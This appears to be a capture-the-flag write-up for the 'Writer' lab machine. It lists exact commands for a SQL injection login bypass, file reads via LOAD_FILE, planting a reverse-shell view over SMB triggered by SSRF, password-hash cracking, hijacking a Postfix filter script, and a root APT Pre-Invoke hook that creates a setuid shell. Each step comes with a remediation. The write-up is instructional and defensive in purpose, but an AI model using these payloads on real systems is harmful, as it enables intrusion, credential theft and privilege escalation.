Writer
Summary
I enumerated a Flask-backed administrative login panel at writer.htb and bypassed authentication entirely using a SQL injection payload that required no knowledge of any valid password. The same injection point was then used with the database account's FILE privilege to read application source code byte-by-byte off the server's disk, recovering a credential reused across SMB, the database, and SSH.
Those SMB credentials unlocked a writable network share hosting an internal Django application that was otherwise isolated from external access; I replaced a Django view file with a reverse-shell payload and triggered a server-side request forgery built into the site's image-import feature, forcing the internal Django service to load and execute the backdoor as the www-data web user. From that shell, MySQL configuration credentials were read from a settings file, used to dump the Django user table, and the resulting password hash was resolved to kyle's SSH password, yielding an interactive shell and the user flag.
Lateral movement to a second account exploited kyle's membership in the Postfix filter group: a mail-processing script invoked as john on every local mail delivery was group-writable, so overwriting it and sending a local email pivoted code execution to john. John's management-group membership granted write access to the APT configuration directory; a periodic root-run apt-get update job provided the final code-execution primitive, with a malicious APT pre-invoke hook staged to fire on the next scheduled cycle and complete full root compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -p 22,80,139,445 $TARGETecho "$TARGET writer.htb" | sudo tee -a /etc/hostscurl -s http://writer.htb/administrativeExact commands 3
curl -s -X POST http://writer.htb/administrative -d "uname=' OR 1=1-- -&password=x" -c writer.cookie -Lcurl -s -X POST http://writer.htb/administrative -d "uname=' OR 1=2-- -&password=x" | grep -c 'Login'curl -s -b writer.cookie http://writer.htb/dashboardFixParameterize all SQL queries in the administrative loginCritical
Exact commands 2
curl -s -X POST http://writer.htb/administrative --data-urlencode "uname=' OR SUBSTRING(LOAD_FILE('/var/www/writer.htb/writer/__init__.py'),1,1)='/'-- -" -d 'password=x' | grep -c 'dashboard'python3 sqli_file_extract.py --url http://writer.htb/administrative --param uname --file /var/www/writer.htb/writer/__init__.pyFixRevoke the FILE privilege from the web application's database accountHigh
Exact commands 4
smbclient -L //$TARGET/ -U "kyle%$PASSWORD"smbclient //$TARGET/writer2_project -U "kyle%$PASSWORD" -c 'recurse ON; prompt OFF; mget *'smbclient //$TARGET/writer2_project -U "kyle%$PASSWORD" -c 'put views_rce.py writer_web/views.py'smbclient //$TARGET/writer2_project -U "kyle%$PASSWORD" -c 'get writer_web/views.py /tmp/verify.py' && sha256sum /tmp/verify.pyFixRemove write access to the internal application's SMB shareHigh
Exact commands 3
nc -lvnp 4444curl -s -b writer.cookie -X POST http://writer.htb/dashboard/stories/add -F 'author=x' -F 'title=x' -F 'image_url=http://127.0.0.1:8080/' -F 'image=@/tmp/test.jpg'id; whoami; pwdFixValidate image-import URLs to block server-side request forgery to internal servicesHigh
Exact commands 4
grep -A 10 'DATABASES' /var/www/writer2_project/writerv2/settings.pymysql -u djangouser -p'$PASSWORD2' -D dev -e 'SELECT username,password FROM auth_user;'hashcat -m 10000 kyle_hash.txt /usr/share/wordlists/rockyou.txtsshpass -p '$PASSWORD3' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null kyle@$TARGET 'id; cat /home/kyle/user.txt'FixRemove hardcoded credentials from source files and stop reusing passwords across accountsHigh
Exact commands 5
idls -la /etc/postfix/disclaimerprintf '#!/bin/bash\nmkdir -p /home/john/.ssh\necho "ssh-rsa AAAA<your-public-key>" >> /home/john/.ssh/authorized_keys\nchmod 600 /home/john/.ssh/authorized_keys\n' > /etc/postfix/disclaimerecho 'test' | mail -s 'trigger' john@writer.htbssh -i ~/.ssh/id_rsa john@$TARGETFixRemove group-write permission from the Postfix disclaimer content-filter scriptHigh
Exact commands 5
idls -la /etc/apt/apt.conf.d/echo 'APT::Update::Pre-Invoke {"cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"};' > /etc/apt/apt.conf.d/01privesc/tmp/rootbash -pcat /root/root.txtFixRemove management-group write access to the APT configuration directoryCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 139/tcp | netbios-ssn Samba smbd 4 |
| 445/tcp | netbios-ssn Samba smbd 4 |